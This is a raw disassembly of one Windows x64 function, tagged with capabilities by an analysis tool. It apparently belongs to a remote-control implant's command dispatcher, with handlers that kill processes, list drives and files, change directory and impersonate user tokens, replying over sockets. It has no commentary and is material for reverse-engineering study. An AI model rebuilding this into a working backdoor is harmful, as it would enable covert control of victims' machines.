Function at 0x140006f50
Capabilities:
Get common file path
Get disk information
Get file attributes
Set current directory
Terminate process

Disassembly:
mov rax, rsp
push rbp
push rbx
push r14
lea rbp, [rax - 0x768]
sub rsp, 0x850
add r8d, 0xfffffffd
mov rbx, rdx
mov r14, rcx
cmp r8d, 0x61
ja case.default.0x140006fa2
mov qword [rax + 8], rsi
lea rcx, [0x140000000]
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], r15
movsxd rax, r8d
movzx eax, byte [rcx + rax + 0x774c]
mov r8d, dword [rcx + rax*4 + 0x76e4]
add r8, rcx
jmp r8
xor edi, edi
cmp dword [0x14005c344], 1
mov dword [0x14005c358], edi
jne 0x140006fd2
mov rax, qword [0x14005c350]
cmp word [rax + 0x1c0], 2
jne 0x140006fd2
cmp dword [rax + 0x1c8], edi
lea eax, [rdi + 1]
jne 0x140006fd4
mov eax, edi
mov r8d, 0x1a
mov r9d, eax
mov rdx, rdi
mov rcx, rdi
call fcn.140009930
jmp case.0x140006fa2.6
cmp dword [0x14005c358], 0
je case.0x140006fa2.6
xor edi, edi
cmp ebx, 4
jae 0x140007012
mov dword [0x14005c358], edi
mov dword [0x14005c340], edi
jmp case.0x140006fa2.6
mov ecx, dword [r14]
call qword [sym.imp.WS2_32.dll_ntohl]
lea ecx, [rbx - 4]
mov dword [0x14005c358], eax
cmp ecx, 4
jb 0x140007046
mov ecx, dword [r14 + 4]
call qword [sym.imp.WS2_32.dll_ntohl]
mov dword [0x14005c340], eax
test eax, eax
je 0x140007046
cmp eax, 0x63
jle case.0x140006fa2.6
mov dword [0x14005c340], edi
jmp case.0x140006fa2.6
cmp rbx, 0x3ff
ja case.0x140006fa2.6
mov r8, rbx
lea rcx, [rsp + 0x50]
mov rdx, r14
call fcn.1400295b0
lea rcx, [rsp + 0x50]
mov byte [rsp + rbx + 0x50], 0
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
jmp case.0x140006fa2.6
lea r8, [0x14004bd44]
mov rcx, r14
call fcn.140006540
jmp case.0x140006fa2.6
mov rcx, r14
call fcn.140006640
jmp case.0x140006fa2.6
mov rcx, r14
call fcn.140006930
jmp case.0x140006fa2.6
mov ecx, dword [r14]
mov rbx, qword [0x14005a118]
call qword [sym.imp.WS2_32.dll_ntohl]
mov esi, eax
test rbx, rbx
je case.0x140006fa2.6
xor edi, edi
nop
cmp dword [rbx], esi
jne 0x1400070e0
mov rcx, qword [rbx + 8]
call fcn.140028f78
mov dword [rbx + 4], edi
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x1400070d0
jmp case.0x140006fa2.6
mov rcx, r14
call fcn.14000b040
jmp case.0x140006fa2.6
cmp ebx, 4
jae 0x140007104
xor edi, edi
jmp 0x14000710f
mov ecx, dword [r14]
call qword [sym.imp.WS2_32.dll_ntohl]
mov edi, eax
xor edx, edx
mov r8d, edi
lea ecx, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x140007134
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x14000714b
call qword [sym.imp.KERNEL32.dll_GetLastError]
xor r9d, r9d
mov edx, edi
mov r8d, eax
lea ecx, [r9 + 0x23]
call fcn.140009c20
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp case.0x140006fa2.6
xor edx, edx
lea rcx, [rsp + 0x50]
mov r8d, 0x800
call fcn.140022720
lea rdx, [rsp + 0x50]
mov ecx, 0x800
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
test eax, eax
je case.0x140006fa2.6
cmp dword [0x14005c344], 1
jne 0x1400071db
mov rcx, qword [0x14005c350]
cmp word [rcx + 0x1c0], 2
jne 0x1400071db
movsxd rdx, dword [rcx + 0x1c8]
test edx, edx
je 0x1400071db
movsxd rcx, eax
mov r8d, reloc.WS2_32.dll_send
cmp rcx, rdx
ja 0x1400071cc
mov rdx, rcx
lea r9d, [r8 - 0x12]
lea rcx, [rsp + 0x50]
call fcn.140009930
jmp case.0x140006fa2.6
lea rdx, [rsp + 0x50]
call fcn.140009a20
jmp case.0x140006fa2.6
xor r9d, r9d
movsxd rdx, eax
lea rcx, [rsp + 0x50]
lea r8d, [r9 + 0x13]
call fcn.140009930
jmp case.0x140006fa2.6
mov rbx, qword [0x140058050]
mov r15d, 0x8000
mov ecx, r15d
call fcn.140028a64
xor edi, edi
mov qword [rsp + 0x30], rax
mov r8d, r15d
mov dword [rsp + 0x40], edi
xor edx, edx
mov qword [rsp + 0x38], rax
mov rcx, rax
mov dword [rsp + 0x44], r15d
mov rsi, rax
call fcn.140022720
test rbx, rbx
je 0x14000726b
mov r9d, dword [rbx + 0x3c]
lea rax, [rbx + 0x46]
mov r8d, dword [rbx]
lea rdx, str._d_t_d_t_s_n
lea rcx, [rsp + 0x30]
mov qword [rsp + 0x20], rax
call fcn.14000ce40
mov rbx, qword [rbx + 0x2c]
test rbx, rbx
jne 0x140007233
mov r15d, dword [rsp + 0x44]
mov edi, dword [rsp + 0x40]
mov rsi, qword [rsp + 0x30]
cmp dword [0x14005c344], 1
jne 0x1400072c4
mov rax, qword [0x14005c350]
cmp word [rax + 0x1c0], 2
jne 0x1400072c4
movsxd rcx, dword [rax + 0x1c8]
test ecx, ecx
je 0x1400072c4
movsxd rdx, edi
mov r8d, shutdown
cmp rdx, rcx
ja 0x1400072b2
lea r9d, [r8 - 0x13]
mov rcx, rsi
call fcn.140009930
movsxd r8, r15d
jmp 0x14000767c
mov rdx, rsi
mov ecx, edi
call fcn.140009a20
movsxd r8, r15d
jmp 0x14000767c
xor r9d, r9d
movsxd rdx, edi
mov rcx, rsi
lea r8d, [r9 + 0x14]
call fcn.140009930
movsxd r8, r15d
jmp 0x14000767c
mov rsi, qword [0x140058050]
cmp ebx, 2
jae 0x1400072ee
xor edi, edi
jmp 0x1400072fb
movzx ecx, word [r14]
call qword [sym.imp.WS2_32.dll_ntohs]
movzx edi, ax
movsx ecx, di
test rsi, rsi
je 0x140007318
mov eax, 1
cmp dword [rsi], ecx
jne 0x14000730f
mov dword [rsi + 0x38], eax
mov rsi, qword [rsi + 0x2c]
test rsi, rsi
jne 0x140007308
call fcn.1400046d0
jmp case.0x140006fa2.6
cmp ebx, 4
jae 0x14000732b
xor edi, edi
jmp 0x140007336
mov ecx, dword [r14]
call qword [sym.imp.WS2_32.dll_ntohl]
mov edi, eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov r8d, 1
mov edx, edi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
jmp case.0x140006fa2.6
mov rcx, r14
call fcn.140001e50
jmp case.0x140006fa2.6
mov ecx, 0x4000
call fcn.140028a64
lea ecx, [rbx + 1]
mov rdi, rax
cmp ecx, 0x4000
jge 0x14000738c
movsxd rbx, ebx
mov rdx, r14
mov r8, rbx
mov rcx, rax
call fcn.140022ae0
mov byte [rdi + rbx], 0
mov rcx, rdi
call fcn.140029190
mov rcx, rdi
call fcn.140028a50
jmp case.0x140006fa2.6
cmp ebx, 4
jae 0x1400073aa
xor edi, edi
jmp 0x1400073b5
mov ecx, dword [r14]
call qword [sym.imp.WS2_32.dll_ntohl]
mov edi, eax
mov ecx, 0x80
call fcn.140028a64
xorps xmm0, xmm0
mov qword [rsp + 0x30], rax
mov ecx, edi
mov dword [rsp + 0x44], 0x80
mov rbx, rax
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm0
movups xmmword [rax + 0x30], xmm0
movups xmmword [rax + 0x40], xmm0
movups xmmword [rax + 0x50], xmm0
movups xmmword [rax + 0x60], xmm0
movups xmmword [rax + 0x70], xmm0
call qword [sym.imp.WS2_32.dll_htonl]
mov dword [rbx], eax
lea rax, [rbx + 4]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x40], 4
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov r8d, eax
lea rdx, [0x14004bcb4]
lea rcx, [rsp + 0x30]
call fcn.14000ce40
cmp dword [0x14005c344], 1
jne 0x140007476
mov rax, qword [0x14005c350]
cmp word [rax + 0x1c0], 2
jne 0x140007476
movsxd rcx, dword [rax + 0x1c8]
test ecx, ecx
je 0x140007476
movsxd r9, dword [rsp + 0x40]
mov r8d, reloc.WS2_32.dll_shutdown
mov rbx, qword [rsp + 0x30]
mov rdx, r9
cmp r9, rcx
ja 0x140007469
lea r9d, [r8 - 0x15]
jmp 0x140007487
mov rdx, rbx
mov ecx, r9d
call fcn.140009a20
jmp 0x14000748f
movsxd rdx, dword [rsp + 0x40]
xor r9d, r9d
mov rbx, qword [rsp + 0x30]
lea r8d, [r9 + 0x16]
mov rcx, rbx
call fcn.140009930
movsxd r8, dword [rsp + 0x44]
xor edx, edx
mov rcx, rbx
call fcn.140022720
mov rcx, rbx
call fcn.140028a50
jmp case.0x140006fa2.6
mov ecx, 0x4000
call fcn.140028a64
lea ecx, [rbx + 1]
mov rdi, rax
cmp ecx, 0x4000
jge 0x1400074d8
movsxd rbx, ebx
mov rdx, r14
mov r8, rbx
mov rcx, rax
call fcn.140022ae0
mov byte [rdi + rbx], 0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov rcx, rdi
test al, 0x10
je 0x14000750e
lea r8, [0x140002350]
lea rdx, [rsp + 0x50]
call fcn.1400023e0
mov rcx, rdi
call fcn.140028d74
mov rcx, rdi
call fcn.140028a50
jmp case.0x140006fa2.6
call fcn.140029010
mov rcx, rdi
call fcn.140028a50
jmp case.0x140006fa2.6
lea r8, [0x14004bd48]
mov rcx, r14
call fcn.140006540
jmp case.0x140006fa2.6
mov rcx, r14
call fcn.140002550
jmp case.0x140006fa2.6
mov rcx, r14
call fcn.140002700
jmp case.0x140006fa2.6
mov r15d, 0x8000
mov ecx, r15d
call fcn.140028a64
xor edi, edi
mov qword [rsp + 0x30], rax
mov r8d, r15d
mov dword [rsp + 0x40], edi
xor edx, edx
mov qword [rsp + 0x38], rax
mov rcx, rax
mov dword [rsp + 0x44], r15d
mov rsi, rax
call fcn.140022720
cmp qword [0x140058f88], rdi
je 0x1400075c3
call qword [sym.imp.ADVAPI32.dll_RevertToSelf]
mov r8, qword [0x140058f88]
lea r9, [rsp + 0x30]
mov edx, ebx
mov rcx, r14
call fcn.14000b460
mov rcx, qword [0x140058f88]
test rcx, rcx
je 0x140007605
call qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
mov edi, dword [rsp + 0x40]
mov rsi, qword [rsp + 0x30]
jmp 0x140007620
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rbp + 0x788]
mov edx, 0x28
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140007610
mov r8, qword [rbp + 0x788]
lea r9, [rsp + 0x30]
mov edx, ebx
mov rcx, r14
call fcn.14000b460
mov rcx, qword [rbp + 0x788]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [rsp + 0x40]
mov rsi, qword [rsp + 0x30]
jmp 0x140007620
xor edx, edx
xor r9d, r9d
xor r8d, r8d
lea ecx, [rdx + 0x3b]
call fcn.140009c20
test edi, edi
je 0x140007677
cmp dword [0x14005c344], 1
jne 0x140007666
mov rax, qword [0x14005c350]
cmp word [rax + 0x1c0], 2
jne 0x140007666
movsxd rcx, dword [rax + 0x1c8]
test ecx, ecx
je 0x140007666
movsxd rdx, edi
xor r8d, r8d
cmp rdx, rcx
ja 0x14000765a
lea r9d, [r8 + 1]
jmp 0x14000766f
mov rdx, rsi
mov ecx, edi
call fcn.140009a20
jmp 0x140007677
xor r9d, r9d
movsxd rdx, edi
xor r8d, r8d
mov rcx, rsi
call fcn.140009930
movsxd r8, dword [rsp + 0x44]
xor edx, edx
mov rcx, rsi
call fcn.140022720
mov rcx, rsi
call fcn.140028a50
jmp case.0x140006fa2.6
mov rcx, r14
call fcn.14000c930
jmp case.0x140006fa2.6
mov r8d, 1
mov rcx, r14
call fcn.140006d60
jmp case.0x140006fa2.6
xor r8d, r8d
mov rcx, r14
call fcn.140006d60
jmp case.0x140006fa2.6
mov rcx, r14
call fcn.140001840
mov rdi, qword [rsp + 0x878]
mov rsi, qword [rsp + 0x870]
mov r15, qword [rsp + 0x880]
add rsp, 0x850
pop r14
pop rbx
pop rbp
ret